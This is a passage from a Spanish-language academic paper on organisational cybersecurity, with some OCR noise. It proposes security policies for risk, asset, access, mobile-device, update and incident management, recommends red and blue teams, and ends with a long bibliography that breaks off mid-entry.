Reduccion de costos. La integracion de los equipos, conlleva a una
reduccion de costos, en el sentido de que aumenta la seguridad ante
los posibles ataques cibernéticos, evitando que la organizacion se vea
afectada con pérdida de datos, posibles extorsiones, inactividad y
dafos reputacionales.

Conforme a lo anterior, la integracion de los equipos dentro de una organizacion
proporciona una defensa robusta ante ataques cibernéticos, de esta manera, la
proteccion de activos y reputacion cobrard mas efectividad.

2.5.2 Plantee politicas de seguridad y recomendaciones para mejorar los aspectos
de ciberseguridad en cualquier organizacion en sus entornos T.1.

Politica de Gestién del Riesgo de Seguridad de la Informacién: Su fin radica en
8proteger, conservar y asegurar la informacioén de la organizacion y las herramientas
usadas para su elaboracion y disposicion, en aras de preservar la confidencialidad,
integridad y disponibilidad frente a las amenazas y posibles vulnerabilidades.

8 Ministerio de Tecnologias de la Informacién y Comunicaciones, Guia N° 2, Seguridad y Privacidad
de la Informacion (mayo 2016)
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Por medio de esta politica, se podran establecer los criterios y lineamientos a seguir
por las partes involucradas dentro y fuera de la organizacion. Su implementacion
lograra mantener el Sistema de Gestidon del Riesgo, destacando de manera continua
la importancia de un adecuado tratamiento del riesgo de seguridad de la
informacion.

Politica de Gestidon de Activos: Propende, que todos los activos de informacion
criticos de la organizacion deben ser inventariados y clasificados segun su
sensibilidad, manteniendo un registro actualizado.

En este sentido, es dable manifestar que la gestiébn de activos,® (...) es el
procedimiento por el cual las empresas ponen en marcha un conjunto de actividades
gue les permite obtener mejores resultados entre los que se encuentran la obtencion
del balance de costos, andlisis de riesgos y sacar provecho del desempefio
organizacional (...)".

La implementacion de esta politica busca orientar a las organizaciones crear
lineamientos y parametros para una efectiva de la gestion de activos de informacion,
tales como: regulacion y productividad, estabilidad y seguridad, colaboracién
directiva

En conclusidn, la Politica de Gestidén de Activos, podra ser aplicada bajo la
estructura plasmada en la siguiente imagen.

Caracterizacion y
Procedimiento valoracién de los
para activos fijos riesgos de los
activos

Definir metas vy
objetivos sobre la
organizacion para

Directrices para
la incorporacion
de nuevos activos

la misiéon de los .
a la entidad

mismos

Definir procesos y Politica de
procedimientos R4 esponsabilidades
en el ciclo de vida wo Ge5t|0n contribuyen la

de los activos d e ACtiVOS gestion de activos

Figura 43 Estructura aplicada gestién de activos

9 SAAF. (s.f.). Politicas de gestién de activos, beneficios de tener | SAAF. Software Activo Fijo.
https://softwareactivofijo.com/politica-de-gestion-de-activos
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Politica de Control de Accesos. En primer lugar, se debera efectuar una definicion
de roles y responsabilidades que proporcione informacion acerca de que integrantes
de la organizacion podran tener acceso a los sistemas de informacion.

Permite establecer las medidas de control de acceso a aquella informacion que
pertenezca a la organizacion, sin limitar que sean recursos fisicos o digitales. 1° Los
controles de acceso deben ser idoneos y robustos, con el fin de impedir el acceso
no autorizado a los activos de informacion de la Entidad. Dentro de la politica en
mencion, deberan ser incluidos lineamientos generales acerca del acceso, la
definicion de roles y responsabilidades en lo que concierne en la seguridad de la
informacion, el acceso a las redes y los diferentes servicios, el acceso a internet y
otras aplicaciones, la gestion de usuarios que accedan a la informacién de la
organizacion, el monitoreo constante al acceso y uso debido de los sistemas, etc...

Politica Uso de Dispositivos moéviles: 'Consta de proteger la informacién de la
organizacion, que se encuentra almacenada o que puede ser consultada desde
dispositivos méviles. Su principal objetico es establecer un procedimiento que evite
que estos dispositivos sean atacados. Para esto, la politica deberd establecer
lineamientos tales como los que se describen a continuacion;

e Realizar un inventario de los dispositivos moviles con los cuales cuenta la
organizacion.

¢ Implementar un cifrado en los medios de almacenamiento de los dispositivos.

¢ Identificar los sistemas o servicios a los cuales se tendrd acceso mediante
los dispositivos.

e Establecer un bloqueo mediante contrasefia y/u otro medio de autenticacion.

e Crear un procedimiento para el reporte por pérdida o extravio de los
dispositivos, que sea de forma inmediata, siguiendo el paso a paso
establecido.

e Contar con mecanismos de proteccion ante amenazas y cédigos maliciosos.
e Llevar un control de las aplicaciones instaladas en el dispositivo y asegurar
que estas fueron obtenidas bajo los parametros de seguridad sefialados,

e Estructurar procedimientos para la disposicion final de los dispositivos que se

encuentren obsoletos.

Politica de Gestion de Actualizaciones: Permite controlar la disponibilidad de las
actualizaciones de los ordenadores y dispositivos de la organizacion, con el fin de
definir en qué momento es conveniente realizarlas.

10 politica de Control de Acceso — Plan Estratégico de Tecnologias de la Informacién (PETI)
Arquitectura Empresarial (2020, 5 noviembre)

11 Adecuarse. (s.f.). Politica de Dispositivos méviles. http://adecuarse.com/adecuaciones/politicas-
seguridad/politica-de-dispositivos-moviles/
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De igual forma, permite suspender las actualizaciones durante el tiempo se
considere pertinente.

Politica de respuesta a incidentes informaticos. Asegura que los miembros de
la organizacién conozcan y apliquen un procedimiento oportuno que les permita
actuar ante los diferentes incidentes que puedan presentarse en materia de
seguridad de la informacion.

Dentro de la politica se deberan incluir medidas que permitan la comunicacion
adecuada de los incidentes presentados, con el fin de dar el tratamiento
correspondiente, de igual fo9rnaem se tendran que plasmar los controles que
conllevan a revisar el cumplimiento de la politica en lo que concierne a la respuesta
dada a los incidentes presentados.

En atencion a lo anterior, conforme a la complejidad de cada caso, se debera
establecer una clasificacion basada en los siguientes aspectos;

e 12Basico (B): el esfuerzo y los recursos necesarios para implantarlo son
asumibles. Se puede aplicar a través del uso de funcionalidades sencillas ya
incorporadas en las aplicaciones mas comunes. Se previenen atagues
mediante la instalacién de herramientas de seguridad elementales.

e Avanzado (A: el esfuerzo y los recursos necesarios para implantarlo son
considerables, Se necesitan programas que requieran configuraciones
complejas. Se pueden precisar mecanismos de recuperacién ante fallos.

Los controles podran tener el siguiente alcance:

a. Procesos (PRO): aplica a la direccion o al personal de gestion
b. Tecnologia (TEC): aplica al personal técnico especializado.
c. Personas (PER): aplica a todo el personal.

Finalmente, dentro de la politica se debera incluir una lista de chequeo que permitira
llevar un control de la clasificacion, evaluacion, notificacion, resolucion y tratamiento
dado a los incidentes presentados, por ejemplo;

12 Netebu. (2020, 1 de septiembre). Actualizaciones de software. Politicas de seguridad para la pyme
- Netebu. Hosting profesional, alojamiento web, planes de hosting, correo profesional en Sevilla.
https://netebu.com/announcements/132/Actualizaciones-de-software.-Politicas-de-seguridad-para-
la-pyme.html
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NIVEL ALCANCE CONTROL

Determinar el software qué debe ser actualizado
B PRO Realizas un listado del software existente en la empresa O
para incluirlo en el plan de actualizaciones.
Determinar cuando y qué actualizaciones instalar
B TEC Revisas las caracteristicas y los requisitos de las a
actualizaciones y parches antes de instalarlos.
Probar las actualizaciones

A TEC Analizas y contrastas en un entorno de pruebas las a
actualizaciones gue deseas instalar.
Deshacer los cambios

Cuentas con mecanismos y procedimientos para o
deshacer los cambios sufridos tras ejecutar una
actualizacion en caso de no resultar conveniente.
Herramientas de diagndstico y actualizacion

A TEC Utilizas herramientas de autodiagndstico para detectar O
software no actualizado en tus equipos.
Configuracion de un sistema de alertas
Tienes configurado un sistema de alertas para recibir O

A TEC

B TEC avisos vy notificaciones sobre vulnerabilidades,
actualizaciones y parches de seguridad.
Registro de actualizaciones

B TEC Registras cada una de las actualizaciones y parches que O

instalas.

Figura 44 Controles de respuesta a incidentes informaticos, Fuente 13

Recomendaciones

Asignar equipos dedicados a combatir amenazas internas. En razén a que
son referenciadas como las mas criticas y presentadas con mayor frecuencia
dentro de las organizaciones y es visto como un riesgo inevitable, que debe
ser tratado correctamente en aras de mitigar su impacto.

Instalar un firewall como primera linea de defensa ante posibles ciberataques
y un software antimalware, que actué frente a los ataques de phishing.

Socializar y capacitar a los integrantes de loa organizacién en temas
relacionados con la seguridad informatica.

Implementar debidamente las politicas relacionadas anteriormente, asi como
su respectivo cumplimiento y actualizacion de acuerdo a los cambios
organizacionales que se lleven a cabo.

Concientizar y sensibilizar a los integrantes de la organizacion acerca de las
consecuencias derivadas de los ataques cibernéticos.

Realizar copias de seguridad de manera periodica, con el fin de asegurar la
informacion de la organizacion.

13

https://netebu.com/announcements/132/Actualizaciones-de-software.-Politicas-de-seguridad-

para-la-pyme.html
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e Finalmente, establecer politicas de seguridad de la informacion que se
encuentren alineadas con las normas ISO 27001 y 38500%°, bajo los
principios de confidencialidad, disponibilidad e integridad, adicionando las
premisas de las normas relacionadas.

2.5.3 Conclusiones que orienten aspectos importantes en cuanto a la inversion de
ciberseguridad dentro de las organizaciones, deben tener en cuenta cada
una de las etapas que se ejecutaron a lo largo del seminario para poder
ejecutar estas conclusiones y soportar a la alta gerencia la necesidad de
inversion.

El desarrollo del presente trabajo, ha permitido evidenciar que la normatividad
colombiana en lo que concierne a seguridad informatica, mediante ley 1273 de 2009
se han desarrollado una serie de tipos penales, que enmarcan conductas derivadas
de la vulneracion de la informacién. No obstante, la falta de actualizacion y la
tipificacion de nuevos delitos ha conllevado que las circunstancias derivadas de las
conductas ilicitas frente al bien juridico tutelado denominado “De la Proteccion de la
Informacién y de los Datos”, sean cada vez mas frecuentes, ocasionando asi,
pérdidas no solo econdmicas, sino también reputacionales.

Siempre van a existir vulnerabilidades en el &mbito empresarial como personal por
lo que se debe trabajar constantemente en minimizar los diferentes ciberataques
gue puedan presentarse en cualquier adversidad con el disefio de préacticas de
vulnerabilidades en una topologia de la misma segmentacion y su respectiva
analitica de riesgos.

La incorporacion de los equipos red, blue and purple, permiten a las organizaciones
la creacion de barreras de seguridad informatica, creando ambientes seguros en lo
gue concierne a la navegacion, implementacibn y uso de infraestructuras
informaticas. Adicionalmente el uso de técnicas como el pentesting y el handering,
también permiten la identificacion y contencion de conductas cibernéticas de
caracter punitivo con anticipacion, manteniendo el control de los ambientes de
trabajo y sosteniendo una comunicacién constante que no afecte a los sistemas
durante el proceso.

4 La norma ISO 27001 es un estandar internacional que establece los requisitos para la
implementacion, mantenimiento y mejora continua de un Sistema de Gestidn de la Seguridad de la
Informacién (SGSI). Este sistema se utiliza para proteger la confidencialidad, integridad y
disponibilidad de la informacion. La norma proporciona un marco para la seguridad de la informacion
que ayuda a las organizaciones a identificar y gestionar sus riesgos de seguridad de la informacion
de manera efectiva.

15 La ISO/IEC 38500 establece los principios, las definiciones y un modelo para ayudar a los 6rganos
de gobierno a comprender la importancia de la Tecnologia de la Informacion (Tl)
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Al paso del tiempo, las organizaciones han optado por invertir en sistemas de
seguridad mas robustos, en consecuencia, a los reiterados ataques presentados
tanto a nivel nacional como a nivel mundial, la implementacion de politicas y
medidas de defensa, han cobrado gran importancia a la hora de reaccionar frente a
amenazas y con mayor eficacia ante las respuestas dadas. La inversion en
ciberseguridad ya no es vista como un lujo, ahora es un tema de necesidad para
cualquier organizacion, dada las vulnerabilidades existentes en los entornos
informaticos.

El uso de politicas de seguridad, eleva el reparo de la organizacién, permitiendo asi
tener lineas de defensa que combatan los ataques cibernéticos y respondan ante
cualquier circunstancia que amenace el campo de la informacion. En este mismo
sentido, las recomendaciones dadas en el presente documento dan pie a que el
campo de la ciberseguridad cobre mayor importancia en los entornos
organizacionales.
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3 CONCLUSIONES

Teniendo en cuenta el incremento de las de las amenazas cibernéticas y los
desafios que enfrentan las organizaciones en cuanto a la defensa y proteccion de
los activos de informacion, se torna fundamental no solo la incorporacion de los
equipos Blue, Red and Purple, sino también un desarrollo de habilidades técnicas,
legales y funcionales de cada integrante, con el propdsito de enfrentar las amenazas
y mitigar los riesgos de forma integral y agil.

En lo que respecta a las capacidades técnicas, cabe sefialar que estas se
configuran como la base fundamental de la operacion de cada uno de los equipos
anteriormente relacionados. De igual forma, se requiere que cada miembro cuente
con el conocimiento en seguridad informéatica y todos los temas que se derivan de
ella, adicionalmente la capacitacion y actualizacion en este campo conlleva el
desarrollo de habilidades técnicas que permiten estar un paso adelante de los
ciberdelincuentes en cuanto a tendencias y técnicas, asi mismo contar con la
capacidad de adaptacion a entornos de constante evolucion.

En conclusién, al invertir en un sistema de seguridad robusto las organizaciones
fortalecen su seguridad informatica y logran ser eficientes en la mitigacion de los
riesgos de todo lo que la entidad tenga conectado en una red interna y externa. Por
tal razén a lo largo del documento se evidencia la gran importancia que tiene la
proteccion de la confidencialidad, disponibilidad, integridad de la infraestructura y la
informacién de una organizacién
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4 RECOMENDACIONES

Desde el conocimiento y la alta experiencia en cada una de las etapas, los
profesionales de seguridad en informatica plantean varias recomendaciones y
diferentes alternativas de una organizacion segura y preventiva frente a los ataques
informéaticos

e Cualquier entidad debera implementar los equipos de seguridad (RedTeam
y BlueTeam) para garantizar una infraestructura segura y confiable.
Adicionalmente los integrantes deberan garantizar la alta experiencia en
ciberseguridad y contar con estrategias avanzadas en redes informéticas,
analisis forense y hacking ético.

e El software basico de la organizacion debera contar con un rubro de inversion
o funcionalidad para estar previamente licenciado con el fin de contar con
una consola de administracion y poder realizar despliegues de seguridad
preservando malware o virus.

e Se deberd desarrollar e implementar una politica de seguridad de la
informacion para unificar los lineamientos de seguridad sobre los sistemas
de informacion y de los usuarios finales de la entidad.

e Disefiar un plan de capacitaciones, sensibilizacion y comunicaciones de
seguridad de la informacion para toda la organizacion ya que muchas de las
vulnerabilidades de los sistemas de informacion pueden ser los mismos
usuarios debido a las malas préacticas o poco conocimiento frente a temas de
seguridad informatica.

e Implementar un modelo de seguridad y privacidad de la Informacion para la
entidad de conformidad la formulacién de politicas y lineamientos de
seguridad y privacidad de la informacion.

e Adquirir herramientas sofisticadas y de ultima generacion para que los
equipos RedTeam y BlueTeam puedan certificar, identificar, manifestar y
actuar rapidamente frente a cualquier amenaza a la organizacion. Ademas
de esto la organizacion debe asegurarse que estas soluciones deben estar
actualizados con los ultimos parches de seguridad estables para el proceso
de seguridad.

65



BIBLIOGRAFIA

Hacking Etico: Guia Completa de Footprinting. (2023, 19 de julio). Tokio.
https://www.tokioschool.com/noticias/footprinting/

José Gaspar Cano Esquibel. (2019, junio). Analisis, disefio y desarrollo de una
aplicacion para la realizacion automética de pentesting. UNIVERSIDAD DE
ALICANTE.

https://rua.ua.es/dspace/bitstream/10045/93292/1/Analisis _diseno_y desarrollo d
e _una_aplicacion par Cano Esquibel Jose Gaspar.pdf

JUAN GUILLERMO OSPINA TREJOS. (2023). CAPACIDADES TECNICAS,
LEGALES Y DE GESTION PARA EQUIPOS BLUE TEAM Y RED TEAM.
https://repository.unad.edu.co/bitstream/handle/10596/57970/jgospinat.pdf?sequen
ce=l1&amp;isAllowed=y

LUIS FABRICIO SILVA CRUZ. (2020). CREACION Y SIMULACION DE UN
AMBIENTE DE PENTESTING SOBRE GNS3 PARA LAS PLATAFORMAS EN
ETAPA DE PRE-PRODUCCION DEL BCE. CREACION Y SIMULACION DE UN
AMBIENTE DE PENTESTING SOBRE GNS3 PARA LAS PLATAFORMAS EN
ETAPA DE PRE-PRODUCCION DEL BCE.
https://www.dspace.espol.edu.ec/bitstream/123456789/56383/1/T-
112669%20Silva.pdf

Ministerio de Tecnologias de la Informacion y. las Comunicaciones. (2020, marzo).
Ley 1581 de 2012. MinTic.
https://mintic.gov.co/images/documentos/documentos comentarios/proyecto decr
eto ley 1581 de 2012 proteccion datos.pdf

MInTIC. (2024, enero). Diario Oficial No. 47.223 de 5 de enero de 20089.
Normograma MINTIC.
https://normograma.mintic.gov.co/mintic/docs/ley 1273 2009.html

POLICIA NACIONAL DE COLOMBIA. (2023, febrero). EY 1273 DE 2009. Policia
Nacional. https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-
informaticos

ACUNA LOPEZ, L. F. (2018). ESTADO ACTUAL DEL CIBERCRIMEN EN
COLOMBIA CON RESPECTO A LATINOAMERICA. Universidad Nacional Abierta
y a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/25619/%20Ilfacunal.pdf?seq
uence=1

66


https://www.tokioschool.com/noticias/footprinting/
https://rua.ua.es/dspace/bitstream/10045/93292/1/Analisis_diseno_y_desarrollo_de_una_aplicacion_par_Cano_Esquibel_Jose_Gaspar.pdf
https://rua.ua.es/dspace/bitstream/10045/93292/1/Analisis_diseno_y_desarrollo_de_una_aplicacion_par_Cano_Esquibel_Jose_Gaspar.pdf
https://repository.unad.edu.co/bitstream/handle/10596/57970/jgospinat.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/57970/jgospinat.pdf?sequence=1&amp%3BisAllowed=y
https://www.dspace.espol.edu.ec/bitstream/123456789/56383/1/T-112669%20Silva.pdf
https://www.dspace.espol.edu.ec/bitstream/123456789/56383/1/T-112669%20Silva.pdf
https://mintic.gov.co/images/documentos/documentos_comentarios/proyecto_decreto_ley_1581_de_2012_proteccion_datos.pdf
https://mintic.gov.co/images/documentos/documentos_comentarios/proyecto_decreto_ley_1581_de_2012_proteccion_datos.pdf
https://normograma.mintic.gov.co/mintic/docs/ley_1273_2009.html
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
https://www.policia.gov.co/denuncia-virtual/normatividad-delitos-informaticos
https://repository.unad.edu.co/bitstream/handle/10596/25619/%20lfacunal.pdf?sequence=1
https://repository.unad.edu.co/bitstream/handle/10596/25619/%20lfacunal.pdf?sequence=1

Acurio Del Pino, S. (s.f.). Delitos Informaticos: Generalidades. OAS - Organization
of American States: Democracy for peace, security, and development.
https://www.oas.org/juridico/spanish/cyb _ecu_delitos_inform.pdf

Consejo Profesional Nacional de Ingenieria. (s.f.). Codigo de ética | Copina. Inicio |
Copina. https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica

Leyes desde 1992 - Vigencia expresa y control de constitucionalidad
[LEY_0599 2000 PRO010]. (2023, diciembre). SECRETARIA GENERAL DEL
SENADO.

http://www.secretariasenado.gov.co/senado/basedoc/ley 0599 2000 pr010.html#
269-1

Monica Maria Jiménez. (2023, 20 de septiembre). ¢Qué pudo causar el ataque
cibernético a IFX Networks? Pirani: We make risk management simple.
https://www.piranirisk.com/es/blog/posibles-causas-ataque-cibernetico-ifx-networks

Qué es y como actia RansomHouse, el grupo aparentemente responsable de los
ciberataques en Colombia. (2023, septiembre). INFORMATICA FORENSE
COLOMBIA. https://www.informaticaforense.com.co/que-es-y-como-actua-
ransomhouse-el-grupo-aparentemente-responsable-de-los-ciberataques-en-
colombia/

Superintendencia de Industria y. Comercio. (2019, 19 de enero). LEY 1273 DE 20009.
Ley 1273 de 2009 delitos informético.
https://www.sic.qov.co/recursos user/documentos/normatividad/Ley 1273 2009.p
df

DIEGO FRANCISCO BALLEN LEON. (2019). ANALISIS DE VULNERABILIDADES
AL SERVIDOR DE PRUEBAS DEL DEPARTAMENTO DE SISTEMAS DE LA
E.S.E. HOSPITAL MARCO FELIPE AFANADOR DEL MUNICIPIO DE TOCAIMA
CUNDINAMARCA GENERANDO LAS RECOMENDACIONES PARA REALIZAR
UN PROCESO DE HARDENING. Universidad Nacional Abierta y a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/35854/DFBALLENL.pdf?seq
uence=2&amp:isAllowed=y

El Pingiiino de Mario. (2022, 16 de octubre). ¥  CURSO DE HACKING ETICO -
Como Establecer una Sesion METERPRETER con MSFVENOM #11 [Video].
YouTube. https://www.youtube.com/watch?v=UjjIEduADCA

JOSE ANTONIO MUNO,Z VARGAS. (2023). CAPACIDADES TECNICAS,
LEGALES Y DE GESTION PARA EQUIPOS BLUE TEAM Y RED TEAM.
Universidad Nacional Abierta y a Distancia UNAD.

67


https://www.oas.org/juridico/spanish/cyb_ecu_delitos_inform.pdf
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
http://www.secretariasenado.gov.co/senado/basedoc/ley_0599_2000_pr010.html#269-1
http://www.secretariasenado.gov.co/senado/basedoc/ley_0599_2000_pr010.html#269-1
https://www.piranirisk.com/es/blog/posibles-causas-ataque-cibernetico-ifx-networks
https://www.informaticaforense.com.co/que-es-y-como-actua-ransomhouse-el-grupo-aparentemente-responsable-de-los-ciberataques-en-colombia/
https://www.informaticaforense.com.co/que-es-y-como-actua-ransomhouse-el-grupo-aparentemente-responsable-de-los-ciberataques-en-colombia/
https://www.informaticaforense.com.co/que-es-y-como-actua-ransomhouse-el-grupo-aparentemente-responsable-de-los-ciberataques-en-colombia/
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley_1273_2009.pdf
https://repository.unad.edu.co/bitstream/handle/10596/35854/DFBALLENL.pdf?sequence=2&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/35854/DFBALLENL.pdf?sequence=2&amp%3BisAllowed=y
https://www.youtube.com/watch?v=UjjIEduADcA

https://repository.unad.edu.co/bitstream/handle/10596/58028/jamunosv.pdf?seque
nce=1&amp:isAllowed=y

MIGUEL IGNACIO URBANO BARRIOS. (2023). CAPACIDADES TECNICAS,
LEGALES Y DE GESTION PARA EQUIPOS BLUE TEAM Y RED TEAM.
Universidad Nacional Abierta y a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58010/miurbanob.pdf?sequ
ence=1&amp;isAllowed=y

NMAP: um estudo sobre a ferramenta de busca e analise de vulnerabilidades em
redes | Caderno Cientifico UNIFAGOC de Graduacédo e PoOs-Graduacao. (s.f.).
Sistema Eletronico de Editoracéo de Revistas.
https://revista.unifagoc.edu.br/index.php/caderno/article/view/890

OCTAVIO ANDRES CARDONA RIVERA. (2023). CAPACIDADES TECNICAS,
LEGALES Y DE GESTION PARA EQUIPOS BLUE TEAM Y RED TEAM.
Universidad Nacional Abierta y a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58029/oacardonar.pdf?sequ
ence=1&amp:isAllowed=y

The Coffee Hack. (2023, 13 de noviembre). MSFvenom: La herramienta definitiva
para pruebas de hacking etico | Kali Linux tutorial [Video]. YouTube.
https://www.youtube.com/watch?v=YWShjmvQtt0

Vulnerabilidad en avahi-coresocket.c en avahi-daemon en Avahi (CVE-2011-1002).
(2023, 22 de diciembre). Instituto Nacional de  Ciberseguridad.
https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2011-1002
Yesenia Alexandra Peralta Reyes. (2023). Capacidades Técnicas, Legales y de
Gestion para Equipos Blue Team y Red Team. Universidad Nacional Abierta y a
Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58069/yaperaltare.pdf?sequ
ence=1&amp;isAllowed=y

CARLOS ARNAL. (2023, 8 de mayo). ¢ Cual es la diferencia entre XDR y SIEM? |
WatchGuard Technologies. WatchGuard | Network, Wi-Fi, Identity, and Endpoint
Security  Solutions.  https://www.watchguard.com/es/wgrd-news/blog/cual-es-la-
diferencia-entre-xdr-y-siem

CIS. (s.f.). CIS. https://www.cisecurity.org/

CRISTIAN LEANDRO BIELMA MONTOYA. (2023). Universidad Nacional Abierta y
a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/57965/clbielmam.pdf?seque
nce=1&amp:;isAllowed=y

68


https://repository.unad.edu.co/bitstream/handle/10596/58028/jamunosv.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58028/jamunosv.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58010/miurbanob.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58010/miurbanob.pdf?sequence=1&amp%3BisAllowed=y
https://revista.unifagoc.edu.br/index.php/caderno/article/view/890
https://repository.unad.edu.co/bitstream/handle/10596/58029/oacardonar.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58029/oacardonar.pdf?sequence=1&amp%3BisAllowed=y
https://www.youtube.com/watch?v=YWShjmvQtt0
http://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2011-1002
https://repository.unad.edu.co/bitstream/handle/10596/58069/yaperaltare.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58069/yaperaltare.pdf?sequence=1&amp%3BisAllowed=y
https://www.watchguard.com/es/wgrd-news/blog/cual-es-la-diferencia-entre-xdr-y-siem
https://www.watchguard.com/es/wgrd-news/blog/cual-es-la-diferencia-entre-xdr-y-siem
https://www.cisecurity.org/
https://repository.unad.edu.co/bitstream/handle/10596/57965/clbielmam.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/57965/clbielmam.pdf?sequence=1&amp%3BisAllowed=y

DAYXI ESQUIAQUI MENDOZA. (2023). Universidad Nacional Abierta y a Distancia
UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58068/desquiaquim.pdf?seq
uence=1&amp:isAllowed=y

Delgado, D. O. (2017, 9 de mayo). Herramientas open source de deteccidén de
intrusion. OpenWebinars.net. https://openwebinars.net/blog/las-8-mejores-
herramientas-open-source-de-deteccion-de-intrusion/

HUGO FERNANDO FIGUEROA ANACONA. (2023). Universidad Nacional Abierta
y a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58011/hffigueroaa.pdf?sequ
ence=1&amp;isAllowed=y

IMIRIDA MORA. (2023). Universidad Nacional Abierta y a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58014/imoran.pdf?sequenc
e=1&amp:isAllowed=y

INGENIERIA Y. TECNOLOGIA. (2020, 7 de enero). Red Team, Blue Team y Purple
Team: funciones y diferencias. UNIR. https://www.unir.net/ingenieria/revista/red-
blue-purple-team-ciberseguridad/

JOSE RICARDO VISCAYA. (2023). Universidad Nacional Abierta y a Distancia
UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58192/jrviscayam.pdf?sequ
ence=1&amp;isAllowed=y

LOPEZ DELGADO, M. (2007, junio). Andlisis Forense Digital. OAS - Organization
of American States: Democracy for peace, security, and development.
https://www.oas.org/juridico/spanish/cyb_analisis_foren.pdf

MERCHAN, J. A. (2023). Universidad Nacional Abierta y a Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/59097/jamerchanle.pdf?seq
uence=1&amp:isAllowed=y

MIGUEL IGNACIO URBANO BARRIOS. (2023). Universidad Nacional Abierta y a
Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58010/miurbanob.pdf?sequ
ence=1&amp;isAllowed=y

OCTAVIO ANDRES CARDONA RIVERA. (2023). Universidad Nacional Abierta'y a
Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/58029/oacardonar.pdf?sequ
ence=1&amp:isAllowed=y

69


https://repository.unad.edu.co/bitstream/handle/10596/58068/desquiaquim.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58068/desquiaquim.pdf?sequence=1&amp%3BisAllowed=y
https://openwebinars.net/blog/las-8-mejores-herramientas-open-source-de-deteccion-de-intrusion/
https://openwebinars.net/blog/las-8-mejores-herramientas-open-source-de-deteccion-de-intrusion/
https://repository.unad.edu.co/bitstream/handle/10596/58011/hffigueroaa.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58011/hffigueroaa.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58014/imoran.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58014/imoran.pdf?sequence=1&amp%3BisAllowed=y
https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/
https://www.unir.net/ingenieria/revista/red-blue-purple-team-ciberseguridad/
https://repository.unad.edu.co/bitstream/handle/10596/58192/jrviscayam.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58192/jrviscayam.pdf?sequence=1&amp%3BisAllowed=y
https://www.oas.org/juridico/spanish/cyb_analisis_foren.pdf
https://repository.unad.edu.co/bitstream/handle/10596/59097/jamerchanle.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/59097/jamerchanle.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58010/miurbanob.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58010/miurbanob.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58029/oacardonar.pdf?sequence=1&amp%3BisAllowed=y
https://repository.unad.edu.co/bitstream/handle/10596/58029/oacardonar.pdf?sequence=1&amp%3BisAllowed=y

SANDRA ELIANA CORTES CARIILLO. (2021). Universidad Nacional Abierta y a
Distancia UNAD.
https://repository.unad.edu.co/bitstream/handle/10596/50306/secortesc.pdf?seque
nce=1&amp;isAllowed=y

SAAF. (s.f.). Politicas de gestion de activos, beneficios de tener | SAAF. Software
Activo Fijo. https://softwareactivofijo.com/politica-de-gestion-de-activos

Adecuarse. (s.f). Politica de Dispositivos moviles.
http://adecuarse.com/adecuaciones/politicas-sequridad/politica-de-dispositivos-
moviles/

Netebu. (2020, 1 de septiembre). Actualizaciones de software. Politicas de
seguridad para la pyme - Netebu. Hosting profesional, alojamiento web, planes de
hosting, correo profesional en Sevilla.
https://netebu.com/announcements/132/Actualizaciones-de-software.-Politicas-de-
seguridad-para-la-pyme.html

AMBIT TEAM. (2021, 4 de mayo). ¢Para qué sirve un SGSI? Controles y fases.
Ambit BST | Consultoria regulatoria y de calidad en sector salud. https://www.ambit-
bst.com/blog/para-qué-sirve-un-sgsi-controles-y-fases

Lorena Cazorla Su arez. (2017, septiembre). Wide-area situation awareness based
on a secure interconnection between cyber-physical control systems. Dialnet.
https://dialnet.unirioja.es/servlet/tesis?codigo=250153

Ivan Coronel Suérez. (2022, 23 de diciembre). Computer security, methodologies,
standards, and management framework in an approach to web applications. SciELO
Ecuador- Scientific Electronic Library Online.
http://scielo.senescyt.gob.ec/scielo.php?pid=S1390-
76972022000100097&amp;script=sci_abstract&amp;ting=en

Abhijeet Singh. (2023, 18 de julio). A Cybersecurity Framework Using Machine
